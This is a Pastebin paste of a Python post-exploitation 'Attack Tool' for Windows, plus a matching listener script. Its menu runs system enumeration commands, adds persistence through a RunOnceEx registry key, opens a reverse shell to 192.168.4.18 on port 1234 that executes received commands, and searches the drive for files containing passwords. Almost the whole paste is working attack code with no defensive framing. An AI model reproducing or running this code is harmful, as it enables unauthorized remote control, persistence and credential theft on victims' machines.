Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ###############
- # Attack Tool #
- ###############
- #!/usr/bin/env python
- import os, sys, re, struct, socket, subprocess
- def menu():
- strs = ('Enter 1 user and system enumeration\n'
- 'Enter 2 for persistence\n'
- 'Enter 3 for reverse shell\n'
- 'Enter 4 to pilfer the system\n'
- 'Enter 5 to exit : ')
- choice = raw_input(strs)
- return int(choice)
- while True: #use while True
- choice = menu()
- if choice == 1:
- os.system("whoami")
- os.system("whoami /priv")
- os.system("ipconfig /all")
- os.system("tasklist /v")
- os.system("net start")
- os.system("schtasks /query /fo LIST 2>nul | findstr TaskName")
- os.system("arp -a")
- os.system("route print")
- os.system("netsh firewall show state")
- elif choice == 2:
- os.system("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001 /v \"Line1\" /d \"||c:\\windows\\system32\\calc.exe\"")
- elif choice == 3:
- def connect():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("192.168.4.18", 1234))
- while True: #keep receiving commands
- command = s.recv(1024)
- if 'terminate' in command:
- s.close() #close the socket
- break
- else:
- CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- s.send( CMD.stdout.read() ) # send the result
- s.send( CMD.stderr.read() ) # incase you mistyped a command.
- # we will send back the error
- connect()
- elif choice == 4:
- os.system('cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt')
- elif choice == 5:
- break
- menu()
- ----------------------------------------------
- Code to receive your reverse shell:
- ------------------------------------
- import socket # For Building TCP Connection
- def connect ():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(("192.168.4.18", 1234))
- s.listen(1)
- conn, addr = s.accept()
- print '[+] We got a connection from: ', addr
- while True:
- command = raw_input("Shell> ")
- if 'terminate' in command:
- conn.send('termminate')
- conn.close() # close the connection with host
- break
- else:
- conn.send(command) #send command
- print conn.recv(1024)
- def main ():
- connect()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement